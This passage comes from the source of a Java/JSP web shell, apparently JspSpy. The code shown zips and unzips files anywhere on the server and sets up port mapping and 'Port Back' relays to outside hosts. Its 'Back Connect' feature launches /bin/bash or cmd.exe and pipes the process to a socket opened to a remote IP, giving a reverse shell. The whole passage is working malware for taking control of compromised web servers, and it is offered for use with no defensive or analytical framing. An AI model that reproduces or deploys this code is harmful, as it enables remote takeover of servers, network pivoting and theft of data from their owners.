  1991. for (int i = 0;i<list.length;i++) {
  1992. File ff=list[i];
  1993. deleteFile(ff);
  1994. }
  1995. }
  1996. }
  1997. public void deleteDir(File f) {
  1998. File[] list = f.listFiles();
  1999. if (list.length == 0) {
  2000. f.delete();
  2001. } else {
  2002. for (int i = 0;i<list.length;i++) {
  2003. File ff=list[i];
  2004. deleteDir(ff);
  2005. }
  2006. deleteDir(f);
  2007. }
  2008. }
  2009. }
  2010. private static class PackBatchInvoker extends DefaultInvoker{
  2011. public boolean doBefore(){return false;}
  2012. public boolean doAfter(){return false;}
  2013. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2014. try {
  2015. String files = request.getParameter("files");
  2016. if (Util.isEmpty(files))
  2017. return;
  2018. String saveFileName = request.getParameter("savefilename");
  2019. File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  2020. if (saveF.exists()) {
  2021. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  2022. response.sendRedirect(SHELL_NAME);
  2023. return;
  2024. }
  2025. ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2026. String[] arr = files.split(",");
  2027. for (int i = 0;i<arr.length;i++) {
  2028. String f=arr[i];
  2029. File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
  2030. ZipEntry entry = new ZipEntry(pF.getName());
  2031. zout.putNextEntry(entry);
  2032. FileInputStream fInput = new FileInputStream(pF);
  2033. int len = 0;
  2034. byte[] buf = new byte[1024];
  2035. while ((len = fInput.read(buf)) != -1) {
  2036. zout.write(buf, 0, len);
  2037. zout.flush();
  2038. }
  2039. fInput.close();
  2040. }
  2041. zout.close();
  2042. JSession.setAttribute(MSG,"Pack Files Success!");
  2043. response.sendRedirect(SHELL_NAME);
  2044. } catch (Exception e) {
  2045. throw e;
  2046. }
  2047. }
  2048. }
  2049. private static class VPackConfigInvoker extends DefaultInvoker{
  2050. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2051. try {
  2052. PrintWriter out = response.getWriter();
  2053. String packfile = request.getParameter("packedfile");
  2054. String currentd = JSession.getAttribute(CURRENT_DIR).toString();
  2055. out.println("<form action='"+SHELL_NAME+"' method='post'>"+
  2056. "<input type='hidden' name='o' value='pack'/>"+
  2057. "<input type='hidden' name='config' value='true'/>"+
  2058. "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2059. " <tr>"+
  2060. " <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"+
  2061. " <div id=\"hOWTm\">"+
  2062. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2063. " <tr align=\"center\">"+
  2064. " <td style=\"width:5%\"></td>"+
  2065. " <td align=\"center\"><table border=\"0\">"+
  2066. " <tr>"+
  2067. " <td>Packed Dir</td>"+
  2068. " <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
  2069. " </tr>"+
  2070. " <tr>"+
  2071. " <td>Save To</td>"+
  2072. " <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
  2073. " </tr>"+
  2074. " <tr>"+
  2075. " <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
  2076. " <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
  2077. " <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
  2078. " </fieldset></td>"+
  2079. " </tr>"+
  2080. " <tr>"+
  2081. " <td>Filesize Filter</td>"+
  2082. " <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
  2083. " <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
  2084. " </tr>"+
  2085. " <tr>"+
  2086. " <td>Exclude Dir</td>"+
  2087. " <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
  2088. " </tr>"+
  2089. " </table></td>"+
  2090. " </tr>"+
  2091. " <tr align=\"center\">"+
  2092. " <td colspan=\"2\">"+
  2093. " <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
  2094. " </td>"+
  2095. " </tr>"+
  2096. " </table>"+
  2097. " </div></td>"+
  2098. " </tr>"+
  2099. " </table></form>"
  2100. );
  2101. } catch (Exception e) {
  2102. throw e;
  2103. }
  2104. }
  2105. }
  2106. private static class PackInvoker extends DefaultInvoker {
  2107. public boolean doBefore(){return false;}
  2108. public boolean doAfter(){return false;}
  2109. private boolean config = false;
  2110. private String extFilter = "blacklist";
  2111. private String[] fileExts = null;
  2112. private String sizeFilter = "no";
  2113. private int filesize = 0;
  2114. private String[] exclude = null;
  2115. private String packFile = null;
  2116. private void reset(){
  2117. this.config = false;
  2118. this.extFilter = "blacklist";
  2119. this.fileExts = null;
  2120. this.sizeFilter = "no";
  2121. this.filesize = 0;
  2122. this.exclude = null;
  2123. this.packFile = null;
  2124. }
  2125. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2126. try {
  2127. String config = request.getParameter("config");
  2128. if (!Util.isEmpty(config) && config.equals("true")) {
  2129. this.config = true;
  2130. this.extFilter = request.getParameter("extfilter");
  2131. this.fileExts = request.getParameter("fileext").split(",");
  2132. this.sizeFilter = request.getParameter("sizefilter");
  2133. this.filesize = Integer.parseInt(request.getParameter("filesize"));
  2134. this.exclude = request.getParameter("exclude").split(",");
  2135. }
  2136. String packedFile = request.getParameter("packedfile");
  2137. if (Util.isEmpty(packedFile))
  2138. return;
  2139. this.packFile = packedFile;
  2140. String saveFileName = request.getParameter("savefilename");
  2141. File saveF = null;
  2142. if (this.config)
  2143. saveF = new File(saveFileName);
  2144. else
  2145. saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  2146. if (saveF.exists()) {
  2147. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  2148. response.sendRedirect(SHELL_NAME);
  2149. return;
  2150. }
  2151. File pF = new File(packedFile);
  2152. ZipOutputStream zout = null;
  2153. String base = "";
  2154. if (pF.isDirectory()) {
  2155. if (pF.listFiles().length == 0) {
  2156. JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
  2157. response.sendRedirect(SHELL_NAME);
  2158. this.reset();
  2159. return;
  2160. }
  2161. zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2162. zipDir(pF,base,zout);
  2163. } else {
  2164. zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2165. zipFile(pF,base,zout);
  2166. }
  2167. zout.close();
  2168. this.reset();
  2169. JSession.setAttribute(MSG,"Pack File Success!");
  2170. response.sendRedirect(SHELL_NAME);
  2171. } catch (Exception e) {
  2172. throw e;
  2173. }
  2174. }
  2175. public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
  2176. if (f.isDirectory()) {
  2177. if (this.config) {
  2178. String curName = f.getAbsolutePath().replace('\\','/');
  2179. curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
  2180. if (this.exclude != null) {
  2181. for (int i = 0;i<exclude.length;i++) {
  2182. if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
  2183. return;
  2184. }
  2185. }
  2186. }
  2187. }
  2188. File[] arr = f.listFiles();
  2189. for (int i = 0;i<arr.length;i++) {
  2190. File ff=arr[i];
  2191. String tmpBase = base;
  2192. if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  2193. tmpBase += "/";
  2194. zipDir(ff,tmpBase+f.getName(),zout);
  2195. }
  2196. } else {
  2197. String tmpBase = base;
  2198. if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
  2199. tmpBase += "/";
  2200. zipFile(f,tmpBase,zout);
  2201. }
  2202. }
  2203. public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
  2204. if (this.config) {
  2205. String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
  2206. if (this.extFilter.equals("blacklist")) {
  2207. if (Util.exists(this.fileExts,ext)) {
  2208. return;
  2209. }
  2210. } else if (this.extFilter.equals("whitelist")) {
  2211. if (!Util.exists(this.fileExts,ext)) {
  2212. return;
  2213. }
  2214. }
  2215. if (!this.sizeFilter.equals("no")) {
  2216. double size = f.length() / 1024;
  2217. if (this.sizeFilter.equals("greaterthan")) {
  2218. if (size < filesize)
  2219. return;
  2220. } else if (this.sizeFilter.equals("lessthan")) {
  2221. if (size > filesize)
  2222. return;
  2223. }
  2224. }
  2225. }
  2226. ZipEntry entry = new ZipEntry(base+f.getName());
  2227. zout.putNextEntry(entry);
  2228. FileInputStream fInput = new FileInputStream(f);
  2229. int len = 0;
  2230. byte[] buf = new byte[1024];
  2231. while ((len = fInput.read(buf)) != -1) {
  2232. zout.write(buf, 0, len);
  2233. zout.flush();
  2234. }
  2235. fInput.close();
  2236. }
  2237. }
  2238. private static class UnPackInvoker extends DefaultInvoker {
  2239. public boolean doBefore(){return false;}
  2240. public boolean doAfter(){return false;}
  2241. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2242. try {
  2243. String savepath = request.getParameter("savepath");
  2244. String zipfile = request.getParameter("zipfile");
  2245. if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
  2246. return;
  2247. File save = new File(savepath);
  2248. save.mkdirs();
  2249. ZipFile file = new ZipFile(new File(zipfile));
  2250. Enumeration e = file.entries();
  2251. while (e.hasMoreElements()) {
  2252. ZipEntry en = (ZipEntry) e.nextElement();
  2253. String entryPath = en.getName();
  2254. int index = entryPath.lastIndexOf("/");
  2255. if (index != -1)
  2256. entryPath = entryPath.substring(0,index);
  2257. File absEntryFile = new File(save,entryPath);
  2258. if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
  2259. absEntryFile.mkdirs();
  2260. BufferedOutputStream output = null;
  2261. BufferedInputStream input = null;
  2262. try {
  2263. output = new BufferedOutputStream(
  2264. new FileOutputStream(new File(save,en.getName())));
  2265. input = new BufferedInputStream(
  2266. file.getInputStream(en));
  2267. byte[] b = new byte[1024];
  2268. int len = input.read(b);
  2269. while (len != -1) {
  2270. output.write(b, 0, len);
  2271. len = input.read(b);
  2272. }
  2273. } catch (Exception ex) {
  2274. } finally {
  2275. try {
  2276. if (output != null)
  2277. output.close();
  2278. if (input != null)
  2279. input.close();
  2280. } catch (Exception ex1) {
  2281. }
  2282. }
  2283. }
  2284. file.close();
  2285. JSession.setAttribute(MSG,"UnPack File Success!");
  2286. response.sendRedirect(SHELL_NAME);
  2287. } catch (Exception e) {
  2288. throw e ;
  2289. }
  2290. }
  2291. }
  2292. //VMapPort
  2293. private static class VmpInvoker extends DefaultInvoker {
  2294. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2295. try {
  2296. PrintWriter out = response.getWriter();
  2297. Object localIP = JSession.getAttribute("localIP");
  2298. Object localPort = JSession.getAttribute("localPort");
  2299. Object remoteIP = JSession.getAttribute("remoteIP");
  2300. Object remotePort = JSession.getAttribute("remotePort");
  2301. Object done = JSession.getAttribute("done");
  2302. JSession.removeAttribute("localIP");
  2303. JSession.removeAttribute("localPort");
  2304. JSession.removeAttribute("remoteIP");
  2305. JSession.removeAttribute("remotePort");
  2306. JSession.removeAttribute("done");
  2307. if (Util.isEmpty(localIP))
  2308. localIP = InetAddress.getLocalHost().getHostAddress();
  2309. if (Util.isEmpty(localPort))
  2310. localPort = "3389";
  2311. if (Util.isEmpty(remoteIP))
  2312. remoteIP = "www.forjj.com";
  2313. if (Util.isEmpty(remotePort))
  2314. remotePort = "80";
  2315. if (!Util.isEmpty(done))
  2316. Util.outMsg(out,done.toString());
  2317. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2318. "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
  2319. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2320. " <tr>"+
  2321. " <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"+
  2322. " <div id=\"hOWTm\">"+
  2323. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2324. " <tr align=\"center\">"+
  2325. " <td style=\"width:5%\"></td>"+
  2326. " <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
  2327. " <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
  2328. " </td>"+
  2329. " <td style=\"width:20%\" align=\"left\">Local Port :"+
  2330. " <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
  2331. " <td style=\"width:20%\" align=\"left\">Remote Ip :"+
  2332. " <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
  2333. " <td style=\"width:20%\" align=\"left\">Remote Port :"+
  2334. " <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
  2335. " </tr>"+
  2336. " <tr align=\"center\">"+
  2337. " <td colspan=\"5\"><br/>"+
  2338. " <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
  2339. " <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
  2340. " </td>"+
  2341. " </tr>"+
  2342. " </table>"+
  2343. " </div>"+
  2344. "</td>"+
  2345. "</tr>"+
  2346. "</table>"+
  2347. "</form>");
  2348. String targetIP = request.getParameter("targetIP");
  2349. String targetPort = request.getParameter("targetPort");
  2350. String yourIP = request.getParameter("yourIP");
  2351. String yourPort = request.getParameter("yourPort");
  2352. if (Util.isEmpty(targetIP))
  2353. targetIP = "127.0.0.1";
  2354. if (Util.isEmpty(targetPort))
  2355. targetPort = "3389";
  2356. if (Util.isEmpty(yourIP))
  2357. yourIP = request.getRemoteAddr();
  2358. if (Util.isEmpty(yourPort))
  2359. yourPort = "53";
  2360. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2361. "<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
  2362. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2363. " <tr>"+
  2364. " <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"+
  2365. " <div id=\"hOWTm\">"+
  2366. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2367. " <tr align=\"center\">"+
  2368. " <td style=\"width:5%\"></td>"+
  2369. " <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
  2370. " <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
  2371. " </td>"+
  2372. " <td style=\"width:20%\" align=\"left\">Target Port :"+
  2373. " <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
  2374. " <td style=\"width:20%\" align=\"left\">Your Ip :"+
  2375. " <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
  2376. " <td style=\"width:20%\" align=\"left\">Your Port :"+
  2377. " <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
  2378. " </tr>"+
  2379. " <tr align=\"center\">"+
  2380. " <td colspan=\"5\"><br/>"+
  2381. " <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
  2382. " </td>"+
  2383. " </tr>"+
  2384. " </table>"+
  2385. " </div>"+
  2386. "</td>"+
  2387. "</tr>"+
  2388. "</table>"+
  2389. "</form>");
  2390. } catch (Exception e) {
  2391. throw e ;
  2392. }
  2393. }
  2394. }
  2395. //StopMapPort
  2396. private static class SmpInvoker extends DefaultInvoker {
  2397. public boolean doAfter(){return true;}
  2398. public boolean doBefore(){return true;}
  2399. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2400. try {
  2401. Object obj = JSession.getAttribute(PORT_MAP);
  2402. if (obj != null) {
  2403. ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
  2404. server.close();
  2405. }
  2406. JSession.setAttribute("done","Stop Success!");
  2407. ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
  2408. } catch (Exception e) {
  2409. throw e ;
  2410. }
  2411. }
  2412. }
  2413. //PortBack
  2414. private static class PortBackInvoker extends DefaultInvoker {
  2415. public boolean doAfter(){return true;}
  2416. public boolean doBefore(){return true;}
  2417. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2418. try {
  2419. String targetIP = request.getParameter("targetIP");
  2420. String targetPort = request.getParameter("targetPort");
  2421. String yourIP = request.getParameter("yourIP");
  2422. String yourPort = request.getParameter("yourPort");
  2423. Socket yourS = new Socket();
  2424. yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
  2425. Socket targetS = new Socket();
  2426. targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
  2427. StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
  2428. StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
  2429. JSession.setAttribute("done","Port Back Success !");
  2430. ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
  2431. } catch (Exception e) {
  2432. throw e ;
  2433. }
  2434. }
  2435. }
  2436. private static class MapPortInvoker extends DefaultInvoker {
  2437. public boolean doBefore(){return false;}
  2438. public boolean doAfter(){return false;}
  2439. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2440. try {
  2441. PrintWriter out = response.getWriter();
  2442. String localIP = request.getParameter("localIP");
  2443. String localPort = request.getParameter("localPort");
  2444. final String remoteIP = request.getParameter("remoteIP");
  2445. final String remotePort = request.getParameter("remotePort");
  2446. if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
  2447. return;
  2448. Object obj = JSession.getAttribute(PORT_MAP);
  2449. if (obj != null) {
  2450. ServerSocket s = (ServerSocket)obj;
  2451. s.close();
  2452. }
  2453. final ServerSocket server = new ServerSocket();
  2454. server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
  2455. JSession.setAttribute(PORT_MAP,server);
  2456. new Thread(new Runnable(){
  2457. public void run(){
  2458. while (true) {
  2459. Socket soc = null;
  2460. Socket remoteSoc = null;
  2461. DataInputStream remoteIn = null;
  2462. DataOutputStream remoteOut = null;
  2463. DataInputStream localIn = null;
  2464. DataOutputStream localOut = null;
  2465. try{
  2466. soc = server.accept();
  2467. remoteSoc = new Socket();
  2468. remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
  2469. remoteIn = new DataInputStream(remoteSoc.getInputStream());
  2470. remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
  2471. localIn = new DataInputStream(soc.getInputStream());
  2472. localOut = new DataOutputStream(soc.getOutputStream());
  2473. StreamConnector.readFromLocal(localIn,remoteOut);
  2474. StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
  2475. }catch(Exception ex)
  2476. {
  2477. break;
  2478. }
  2479. }
  2480. }
  2481. }).start();
  2482. JSession.setAttribute("done","Map Port Success!");
  2483. JSession.setAttribute("localIP",localIP);
  2484. JSession.setAttribute("localPort",localPort);
  2485. JSession.setAttribute("remoteIP",remoteIP);
  2486. JSession.setAttribute("remotePort",remotePort);
  2487. JSession.setAttribute(SESSION_O,"vmp");
  2488. response.sendRedirect(SHELL_NAME);
  2489. } catch (Exception e) {
  2490. throw e ;
  2491. }
  2492. }
  2493. }
  2494. //VBackConnect
  2495. private static class VbcInvoker extends DefaultInvoker {
  2496. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2497. try {
  2498. PrintWriter out = response.getWriter();
  2499. Object ip = JSession.getAttribute("ip");
  2500. Object port = JSession.getAttribute("port");
  2501. Object program = JSession.getAttribute("program");
  2502. Object done = JSession.getAttribute("done");
  2503. JSession.removeAttribute("ip");
  2504. JSession.removeAttribute("port");
  2505. JSession.removeAttribute("program");
  2506. JSession.removeAttribute("done");
  2507. if (Util.isEmpty(ip))
  2508. ip = request.getRemoteAddr();
  2509. if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
  2510. port = "53";
  2511. if (Util.isEmpty(program)) {
  2512. if (ISLINUX)
  2513. program = "/bin/bash";
  2514. else
  2515. program = "cmd.exe";
  2516. }
  2517. if (!Util.isEmpty(done))
  2518. Util.outMsg(out,done.toString());
  2519. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2520. "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
  2521. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2522. " <tr>"+
  2523. " <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"+
  2524. " <div id=\"hOWTm\">"+
  2525. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2526. " <tr align=\"center\">"+
  2527. " <td style=\"width:5%\"></td>"+
  2528. " <td align=\"center\">Your Ip :"+
  2529. " <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
  2530. " Your Port :"+
  2531. " <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
  2532. " <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
  2533. " </tr>"+
  2534. " <tr align=\"center\">"+
  2535. " <td colspan=\"2\"><br/>"+
  2536. " <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
  2537. " </td>"+
  2538. " </tr>"+
  2539. " </table>"+
  2540. " </div>"+
  2541. "</td>"+
  2542. "</tr>"+
  2543. "</table>"+
  2544. "</form>");
  2545. } catch (Exception e) {
  2546. throw e ;
  2547. }
  2548. }
  2549. }
  2550. private static class BackConnectInvoker extends DefaultInvoker {
  2551. public boolean doAfter(){return false;}
  2552. public boolean doBefore(){return false;}
  2553. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2554. try {
  2555. String ip = request.getParameter("ip");
  2556. String port = request.getParameter("port");
  2557. String program = request.getParameter("program");
  2558. if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
  2559. return;
  2560. Socket socket = new Socket(ip,Integer.parseInt(port));
  2561. Process process = Runtime.getRuntime().exec(program);
  2562. (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
  2563. (new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
  2564. (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
  2565. JSession.setAttribute("done","Back Connect Success!");
  2566. JSession.setAttribute("ip",ip);
  2567. JSession.setAttribute("port",port);
  2568. JSession.setAttribute("program",program);
  2569. JSession.setAttribute(SESSION_O,"vbc");
  2570. response.sendRedirect(SHELL_NAME);
  2571. } catch (Exception e) {
  2572. throw e ;
  2573. }
  2574. }
  2575. }
  2576. private static class JspEnvInvoker extends DefaultInvoker {
  2577. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2578. try {
  2579. PrintWriter out = response.getWriter();
  2580. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2581. " <tr>"+
  2582. " <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"+
  2583. " <div id=\"ghaB\">"+
  2584. " <hr/>"+
  2585. " <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2586. Properties pro = System.getProperties();
  2587. Enumeration names = pro.propertyNames();
  2588. while (names.hasMoreElements()){
  2589. String name = (String)names.nextElement();
  2590. out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
  2591. }
  2592. out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2593. /*
  2594. Map envs = System.getenv();
  2595. Set<Map.Entry<String,String>> entrySet = envs.entrySet();
  2596. for (Map.Entry<String,String> en:entrySet) {
  2597. out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
  2598. }*/
  2599. out.println("</ul></div></td>"+
  2600. " </tr>"+
  2601. " </table>");
  2602. } catch (Exception e) {
  2603. throw e ;
  2604. }
  2605. }
  2606. }
  2607. private static class ReflectInvoker extends DefaultInvoker {
  2608. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2609. try {
  2610. PrintWriter out = response.getWriter();
  2611. String c = request.getParameter("Class");
  2612. Class cls = null;
  2613. try {
  2614. if (!Util.isEmpty(c))
  2615. cls = Class.forName(c);
  2616. } catch (ClassNotFoundException ex) {
  2617. Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
  2618. }
  2619. out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
  2620. " <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
  2621. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2622. " <tr>"+
  2623. " <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"+
  2624. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2625. " <tr>"+
  2626. " <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
  2627. " <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
  2628. " </tr>"+
  2629. " "+
  2630. " </table>"+
  2631. " </td>"+
  2632. " </tr>"+
  2633. " </table>"+
  2634. "</form>");
  2635. if (cls != null) {
  2636. StringBuffer sb = new StringBuffer();
  2637. if (cls.getPackage() != null)
  2638. sb.append("package "+cls.getPackage().getName()+";\n");
  2639. String n = null;
  2640. if (cls.isInterface())
  2641. n = "";
  2642. //else if (cls.isEnum())
  2643. // n = "enum";
  2644. else
  2645. n = "class";
  2646. sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
  2647. if (cls.getSuperclass() != null)
  2648. sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
  2649. if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
  2650. Class[] faces = cls.getInterfaces();
  2651. sb.append("\t implements ");
  2652. for (int i = 0;i<faces.length;i++) {
  2653. sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
  2654. if (i != faces.length -1) {
  2655. sb.append(",");
  2656. }
  2657. }
  2658. }
  2659. sb.append("{\n\t\n");
  2660. sb.append("\t//constructors..\n");
  2661. Constructor[] cs = cls.getConstructors();
  2662. for (int i = 0;i<cs.length;i++) {
  2663. Constructor cc = cs[i];
  2664. sb.append("\t"+cc+";\n");
  2665. }
  2666. sb.append("\n\t//fields\n");
  2667. Field[] fs = cls.getDeclaredFields();
  2668. for (int i =0;i<fs.length;i++) {
  2669. Field f = fs[i];
  2670. sb.append("\t"+f.toString()+";");
  2671. if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
  2672. sb.append("\t//value is : ");
  2673. f.setAccessible(true);
  2674. Object obj = f.get(null);
  2675. sb.append("<span style='color:red'>");
  2676. if (obj != null)
  2677. sb.append(obj.toString());
  2678. else
  2679. sb.append("NULL");
  2680. sb.append("</span>");
  2681. }
  2682. sb.append("\n");
  2683. }
  2684. sb.append("\n\t//methods\n");
  2685. Method[] ms = cls.getDeclaredMethods();
  2686. for (int i =0;i<ms.length;i++) {
  2687. Method m = ms[i];
  2688. sb.append("\t"+ m.toString()+";\n");
  2689. }
  2690. sb.append("}\n");
  2691. String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t","&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll("\n","<br/>")+"</span>";
  2692. Util.outMsg(out,m,"left");
  2693. }
  2694. } catch (Exception e) {
  2695. throw e;
  2696. }
  2697. }
  2698. }
  2699. private static class TopInvoker extends DefaultInvoker {
  2700. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2701. try {
  2702. PrintWriter out = response.getWriter();
